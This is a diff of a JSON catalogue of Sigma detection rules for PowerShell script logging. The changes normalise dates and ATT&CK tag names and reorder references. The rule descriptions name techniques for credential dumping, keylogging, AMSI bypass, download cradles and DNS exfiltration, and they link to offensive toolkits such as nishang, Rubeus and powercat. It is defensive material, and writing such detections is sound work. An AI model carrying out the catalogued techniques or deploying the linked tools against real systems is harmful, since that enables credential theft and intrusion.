use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -72496,7 +72602,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -72525,7 +72631,7 @@ "description": "Detects calls to \"get-process\" where the output is piped to a \"where-object\" filter to search for security solution processes.\nAdversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus\n", "meta": { "author": "frack113, Anish Bogati, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/16", + "creation_date": "2021-12-16", "falsepositive": [ "False positives might occur due to the nature of the ScriptBlock being ingested as a big blob. Initial tuning is required.", "As the \"selection_cmdlet\" is common in scripts the matching engine might slow down the search. Change into regex or a more accurate string to avoid heavy resource consumption if experienced" @@ -72559,7 +72665,7 @@ "description": "Adversaries may log user keystrokes to intercept credentials as the user types them.", "meta": { "author": "frack113", - "creation_date": "2021/07/30", + "creation_date": "2021-07-30", "falsepositive": [ "Unknown" ], @@ -72568,8 +72674,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml" ], "tags": [ @@ -72593,7 +72699,7 @@ "description": "Uses PowerShell to install/copy a file into a system directory such as \"System32\" or \"SysWOW64\"", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/27", + "creation_date": "2021-12-27", "falsepositive": [ "Unknown" ], @@ -72606,7 +72712,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1556.002" ] }, @@ -72626,7 +72732,7 @@ "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.\nWithout knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism\n", "meta": { "author": "frack113", - "creation_date": "2021/12/27", + "creation_date": "2021-12-27", "falsepositive": [ "Unknown" ], @@ -72639,7 +72745,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1110.001" ] }, @@ -72659,7 +72765,7 @@ "description": "Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/04/23", + "creation_date": "2021-04-23", "falsepositive": [ "Legitimate certificate exports by administrators. Additional filters might be required." ], @@ -72674,7 +72780,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_export_certificate.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.004" ] }, @@ -72694,7 +72800,7 @@ "description": "Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/26", + "creation_date": "2022-10-26", "falsepositive": [ "Legitimate usage of the cmdlet to forward emails" ], @@ -72717,7 +72823,7 @@ "description": "Adversaries may create a domain account to maintain access to victim systems.\nDomain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..\n", "meta": { "author": "frack113", - "creation_date": "2021/12/28", + "creation_date": "2021-12-28", "falsepositive": [ "Legitimate administrative script" ], @@ -72751,7 +72857,7 @@ "description": "Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/04", + "creation_date": "2023-01-04", "falsepositive": [ "Unknown" ], @@ -72764,7 +72870,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_null_bits_bypass.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -72784,7 +72890,7 @@ "description": "Detects suspicious PowerShell download command", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "PowerShell scripts that download content from the Internet" ], @@ -72818,7 +72924,7 @@ "description": "Detects usage of the \"Write-EventLog\" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/16", + "creation_date": "2022-08-16", "falsepositive": [ "Legitimate applications writing events via this cmdlet. Investigate alerts to determine if the action is benign" ], @@ -72831,7 +72937,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "35f41cd7-c98e-469f-8a02-ec4ba0cc7a7e", @@ -72841,7 +72947,7 @@ "description": "Detects PowerShell scripts set ACL to of a file or a folder", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/18", + "creation_date": "2023-07-18", "falsepositive": [ "Unknown" ], @@ -72854,7 +72960,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_acl.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1222" ] }, @@ -72874,7 +72980,7 @@ "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \\u2014", "meta": { "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", + "creation_date": "2019-11-08", "falsepositive": [ "Unknown" ], @@ -72887,7 +72993,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -72916,7 +73022,7 @@ "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", "meta": { "author": "Sean Metcalf, Florian Roth, Bartlomiej Czyz @bczyz1, oscd.community, Nasreddine Bencherchali, Tim Shelton, Mustafa Kaan Demir, Georg Lauenstein, Max Altgelt, Tobias Michalski, Austin Songer", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "Unknown" ], @@ -72925,24 +73031,24 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://github.com/calebstewart/CVE-2021-1675", "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/adrecon/ADRecon", - "https://github.com/Kevin-Robertson/Powermad", - "https://github.com/DarkCoderSc/PowerRunAsSystem/", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/samratashok/nishang", "https://adsecurity.org/?p=2921", + "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://github.com/HarmJ0y/DAMP", + "https://github.com/DarkCoderSc/PowerRunAsSystem/", "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", - "https://github.com/samratashok/nishang", - "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://github.com/adrecon/AzureADRecon", + "https://github.com/adrecon/ADRecon", + "https://github.com/Kevin-Robertson/Powermad", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", - "https://github.com/besimorhino/powercat", - "https://github.com/HarmJ0y/DAMP", - "https://github.com/calebstewart/CVE-2021-1675", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", - "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/adrecon/AzureADRecon", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/besimorhino/powercat", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml" ], "tags": [ @@ -73023,7 +73129,7 @@ "description": "Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.", "meta": { "author": "frack113", - "creation_date": "2022/03/17", + "creation_date": "2022-03-17", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -73057,7 +73163,7 @@ "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\nIn some cases, windows that would typically be displayed when an application carries out an operation can be hidden\n", "meta": { "author": "frack113, Tim Shelton (fp AWS)", - "creation_date": "2021/10/20", + "creation_date": "2021-10-20", "falsepositive": [ "Unknown" ], @@ -73070,7 +73176,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.003" ] }, @@ -73090,7 +73196,7 @@ "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Unknown" ], @@ -73103,7 +73209,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -73132,7 +73238,7 @@ "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/23", + "creation_date": "2022-01-23", "falsepositive": [ "Unknown" ], @@ -73145,7 +73251,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -73165,7 +73271,7 @@ "description": "Detects PowerShell scripts that make use of the \"Compress-Archive\" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration.\nAn adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2021/07/20", + "creation_date": "2021-07-20", "falsepositive": [ "Unknown" ], @@ -73174,8 +73280,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml" ], "tags": [ @@ -73199,7 +73305,7 @@ "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nScreen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations\n", "meta": { "author": "frack113", - "creation_date": "2021/12/28", + "creation_date": "2021-12-28", "falsepositive": [ "Unknown" ], @@ -73232,7 +73338,7 @@ "description": "Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7", "meta": { "author": "Bhabesh Raj", - "creation_date": "2021/07/16", + "creation_date": "2021-07-16", "falsepositive": [ "Unknown" ], @@ -73241,8 +73347,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", + "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml" ], "tags": [ @@ -73267,7 +73373,7 @@ "description": "Detects usage of COM objects that can be abused to download files in PowerShell by CLSID", "meta": { "author": "frack113", - "creation_date": "2022/12/25", + "creation_date": "2022-12-25", "falsepositive": [ "Legitimate use of the library" ], @@ -73281,7 +73387,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_download_com_cradles.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -73301,7 +73407,7 @@ "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "meta": { "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "creation_date": "2020/10/10", + "creation_date": "2020-10-10", "falsepositive": [ "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" ], @@ -73314,7 +73420,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_root_certificate_installed.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.004" ] }, @@ -73334,7 +73440,7 @@ "description": "Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.", "meta": { "author": "frack113", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ "Legitimate administrative script" ], @@ -73347,7 +73453,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_frombase64string_archive.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1132.001" ] }, @@ -73367,7 +73473,7 @@ "description": "Detects usage of the \"Get-AdGroup\" cmdlet to enumerate Groups within Active Directory", "meta": { "author": "frack113", - "creation_date": "2022/03/17", + "creation_date": "2022-03-17", "falsepositive": [ "Unknown" ], @@ -73400,7 +73506,7 @@ "description": "utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer.\nThis behavior is typically used during a kerberos or silver ticket attack.\nA successful execution will output the SPNs for the endpoint in question.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/28", + "creation_date": "2021-12-28", "falsepositive": [ "Unknown" ], @@ -73413,7 +73519,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558.003" ] }, @@ -73433,7 +73539,7 @@ "description": "Detects Commandlet names from ShellIntel exploitation scripts.", "meta": { "author": "Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)", - "creation_date": "2021/08/09", + "creation_date": "2021-08-09", "falsepositive": [ "Unknown" ], @@ -73466,7 +73572,7 @@ "description": "Detects potential exfiltration attempt via audio file using PowerShell", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/16", + "creation_date": "2023-01-16", "falsepositive": [ "Unknown" ], @@ -73489,7 +73595,7 @@ "description": "Adversaries may manipulate accounts to maintain access to victim systems.\nAccount manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups\n", "meta": { "author": "frack113", - "creation_date": "2021/12/28", + "creation_date": "2021-12-28", "falsepositive": [ "Legitimate administrative script" ], @@ -73498,8 +73604,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml" ], "tags": [ @@ -73523,7 +73629,7 @@ "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.", "meta": { "author": "frack113", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Admin script" ], @@ -73556,7 +73662,7 @@ "description": "Detects the use of PowerShell to identify the current logged user.", "meta": { "author": "frack113", - "creation_date": "2022/04/04", + "creation_date": "2022-04-04", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -73565,8 +73671,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml" ], "tags": [ @@ -73590,7 +73696,7 @@ "description": "Detects the execution of the hacktool Rubeus using specific command line flags", "meta": { "author": "Christian Burkard (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2023/04/27", + "creation_date": "2023-04-27", "falsepositive": [ "Unlikely" ], @@ -73599,16 +73705,16 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/Rubeus", - "https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus", "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", + "https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus", + "https://github.com/GhostPack/Rubeus", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hktl_rubeus.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003", "attack.t1558.003", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1550.003" ] }, @@ -73642,7 +73748,7 @@ "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.\nThese can be files created by users to store their own credentials, shared credential stores for a group of individuals,\nconfiguration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/19", + "creation_date": "2021-12-19", "falsepositive": [ "Unknown" ], @@ -73655,7 +73761,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.001" ] }, @@ -73675,7 +73781,7 @@ "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/20", + "creation_date": "2021-12-20", "falsepositive": [ "Unknown" ], @@ -73688,7 +73794,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555" ] }, @@ -73708,7 +73814,7 @@ "description": "Enumerates Active Directory to determine computers that are joined to the domain", "meta": { "author": "frack113", - "creation_date": "2022/02/12", + "creation_date": "2022-02-12", "falsepositive": [ "Unknown" ], @@ -73741,7 +73847,7 @@ "description": "The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory.\nThese include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n", "meta": { "author": "frack113", - "creation_date": "2022/02/06", + "creation_date": "2022-02-06", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -73755,7 +73861,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.006" ] }, @@ -73775,7 +73881,7 @@ "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -73788,7 +73894,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -73817,7 +73923,7 @@ "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -73830,7 +73936,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -73859,7 +73965,7 @@ "description": "Detects Silence EmpireDNSAgent as described in the Group-IP report", "meta": { "author": "Alina Stepchenkova, Group-IB, oscd.community", - "creation_date": "2019/11/01", + "creation_date": "2019-11-01", "falsepositive": [ "Unknown" ], @@ -73874,7 +73980,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.004", "attack.t1572", "attack.impact", @@ -73920,7 +74026,7 @@ "description": "Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.", "meta": { "author": "frack113", - "creation_date": "2022/08/13", + "creation_date": "2022-08-13", "falsepositive": [ "Unknown" ], @@ -73934,7 +74040,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -73954,7 +74060,7 @@ "description": "Detects execution of a PowerShell script that contains calls to the \"Veeam.Backup\" class, in order to dump stored credentials.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/04", + "creation_date": "2023-05-04", "falsepositive": [ "Administrators backup scripts (must be investigated)" ], @@ -73963,12 +74069,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://www.pwndefend.com/2021/02/15/retrieving-passwords-from-veeam-backup-servers/", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_veeam_credential_dumping_script.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "976d6e6f-a04b-4900-9713-0134a353e38b", @@ -73978,7 +74084,7 @@ "description": "Detects technique used by MAZE ransomware to enumerate directories using Powershell", "meta": { "author": "frack113", - "creation_date": "2022/03/17", + "creation_date": "2022-03-17", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -74012,7 +74118,7 @@ "description": "Detects Commandlet names and arguments from the Nishang exploitation framework", "meta": { "author": "Alec Costello", - "creation_date": "2019/05/16", + "creation_date": "2019-05-16", "falsepositive": [ "Unknown" ], @@ -74045,7 +74151,7 @@ "description": "Detects powershell scripts that import modules from suspicious directories", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/07", + "creation_date": "2022-07-07", "falsepositive": [ "Unknown" ], @@ -74078,7 +74184,7 @@ "description": "DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel", "meta": { "author": "frack113", - "creation_date": "2022/01/07", + "creation_date": "2022-01-07", "falsepositive": [ "Legitimate script" ], @@ -74087,8 +74193,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Arno0x/DNSExfiltrator", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh", + "https://github.com/Arno0x/DNSExfiltrator", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml" ], "tags": [ @@ -74112,7 +74218,7 @@ "description": "Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs", "meta": { "author": "James Pemberton / @4A616D6573", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." ], @@ -74146,7 +74252,7 @@ "description": "Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/28", + "creation_date": "2022-09-28", "falsepositive": [ "Mimikatz can be useful for testing the security of networks" ], @@ -74159,7 +74265,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003" ] }, @@ -74179,7 +74285,7 @@ "description": "Detects PowerShell calling a credential prompt", "meta": { "author": "John Lambert (idea), Florian Roth (Nextron Systems)", - "creation_date": "2017/04/09", + "creation_date": "2017-04-09", "falsepositive": [ "Unknown" ], @@ -74188,12 +74294,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/JohnLaTwC/status/850381440629981184", "https://t.co/ezOTGy1a1G", + "https://twitter.com/JohnLaTwC/status/850381440629981184", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.execution", "attack.t1059.001" ] @@ -74214,7 +74320,7 @@ "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/24", + "creation_date": "2022-10-24", "falsepositive": [ "Rare intended use of hidden services", "Rare FP could occur due to the non linearity of the ScriptBlockText log" @@ -74224,14 +74330,14 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.011" ] }, @@ -74251,7 +74357,7 @@ "description": "Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/09", + "creation_date": "2023-01-09", "falsepositive": [ "Unknown" ], @@ -74264,7 +74370,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_alias_obfscuation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1027", "attack.t1059.001" @@ -74293,7 +74399,7 @@ "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/12", + "creation_date": "2017-03-12", "falsepositive": [ "Very special / sneaky PowerShell scripts" ], @@ -74326,7 +74432,7 @@ "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": 